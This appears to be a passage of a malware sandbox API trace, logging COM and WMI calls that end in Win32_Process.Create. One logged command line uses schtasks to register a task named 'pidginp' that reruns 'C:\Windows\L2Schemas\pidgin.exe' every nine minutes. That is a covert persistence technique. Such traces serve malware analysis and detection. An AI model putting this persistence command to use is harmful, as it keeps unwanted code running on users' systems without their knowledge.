Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d3260) returned 0x0 [0110.570] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3260, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.570] WbemDefPath:IUnknown:Release (This=0x1b4d3260) returned 0x3 [0110.570] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0110.570] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0110.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0110.570] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x2 [0110.570] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x1 [0110.570] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0110.570] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0110.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af220) returned 0x0 [0110.571] WbemDefPath:IUnknown:AddRef (This=0x1b4af220) returned 0x3 [0110.571] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x2 [0110.571] WbemDefPath:IWbemPath:SetText (This=0x1b4af220, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0110.571] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0110.571] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0110.572] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.572] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0110.572] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0110.572] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0110.572] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.573] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2fc0) returned 0x0 [0110.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2fc0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0110.573] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2fc0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af2e0) returned 0x0 [0110.573] WbemDefPath:IUnknown:Release (This=0x1b4d2fc0) returned 0x0 [0110.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af2e0) returned 0x0 [0110.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0110.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0110.573] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0110.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0110.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0110.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d33e0) returned 0x0 [0110.573] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d33e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.573] WbemDefPath:IUnknown:Release (This=0x1b4d33e0) returned 0x3 [0110.573] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0110.573] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0110.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0110.574] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0110.574] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0110.574] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0110.574] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0110.574] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af2e0) returned 0x0 [0110.574] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0110.574] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0110.574] WbemDefPath:IWbemPath:SetText (This=0x1b4af2e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0110.574] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af220) returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af2e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af2e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0110.574] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af220, uIndex=0x0, pszName="root") returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af2e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0110.574] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af2e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0110.577] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af220, uIndex=0x1, pszName="cimv2") returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af2e0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af2e0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af220, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af220, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af220, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0110.577] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0110.577] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0110.577] WbemLocator:IUnknown:AddRef (This=0x1b4acd78) returned 0x3 [0110.577] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b4acd78) returned 0x0 [0110.578] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x3 [0110.578] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x2 [0110.578] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0110.578] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0110.578] IWbemServices:GetObject (in: This=0x1b4b4820, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4ce2c0, ppCallResult=0x0) returned 0x0 [0110.581] IWbemClassObject:GetMethod (in: This=0x1b4ce2c0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4ce630, ppOutSignature=0x1b30d610*=0x1b4d7fe0) returned 0x0 [0110.582] IWbemClassObject:SpawnInstance (in: This=0x1b4ce630, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b470930) returned 0x0 [0110.582] IWbemClassObject:Get (in: This=0x1b470930, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b19d0*=0, plFlavor=0x28b19d4*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b19d0*=8, plFlavor=0x28b19d4*=32) returned 0x0 [0110.582] IWbemClassObject:Get (in: This=0x1b470930, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b19d0*=8, plFlavor=0x28b19d4*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b19d0*=8, plFlavor=0x28b19d4*=32) returned 0x0 [0110.583] IWbemClassObject:Put (This=0x1b470930, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"pidginp\" /sc MINUTE /mo 9 /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0110.583] IWbemClassObject:Get (in: This=0x1b470930, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1a60*=0, plFlavor=0x28b1a64*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1a60*=13, plFlavor=0x28b1a64*=32) returned 0x0 [0110.583] IWbemClassObject:Get (in: This=0x1b470930, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1a60*=13, plFlavor=0x28b1a64*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1a60*=13, plFlavor=0x28b1a64*=32) returned 0x0 [0110.583] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4cfad0) returned 0x0 [0110.583] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0110.583] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0110.583] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0110.583] IUnknown:AddRef (This=0x1b4cfad0) returned 0x3 [0110.583] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0110.583] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0110.583] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4cfad8) returned 0x0 [0110.584] IMarshal:GetUnmarshalClass (in: This=0x1b4cfad8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0110.584] IUnknown:Release (This=0x1b4cfad8) returned 0x3 [0110.584] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0110.584] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0110.584] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0110.584] IUnknown:Release (This=0x1b4cfad0) returned 0x2 [0110.584] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0110.584] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0110.584] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0110.584] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0110.584] IUnknown:QueryInterface (in: This=0x1b4cfad0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0110.584] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0110.584] IUnknown:AddRef (This=0x1b4cfad0) returned 0x3 [0110.584] IWbemClassObject:Put (This=0x1b470930, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4cfad0, varVal2=0x0), Type=0) returned 0x0 [0110.584] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0110.584] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0110.584] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0110.585] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0110.585] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0110.585] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.585] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0110.585] WbemLocator:IUnknown:AddRef (This=0x1b4acd78) returned 0x3 [0110.585] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4acd78) returned 0x0 [0110.585] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x3 [0110.585] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x2 [0110.585] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0110.585] WbemLocator:IUnknown:AddRef (This=0x1b4acd78) returned 0x3 [0110.585] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4acd78) returned 0x0 [0110.585] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x3 [0110.585] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x2 [0110.585] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0110.585] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0110.585] IWbemServices:ExecMethod (in: This=0x1b4b4820, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b470930, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x643aa0, ppCallResult=0x0) returned 0x0 [0110.706] 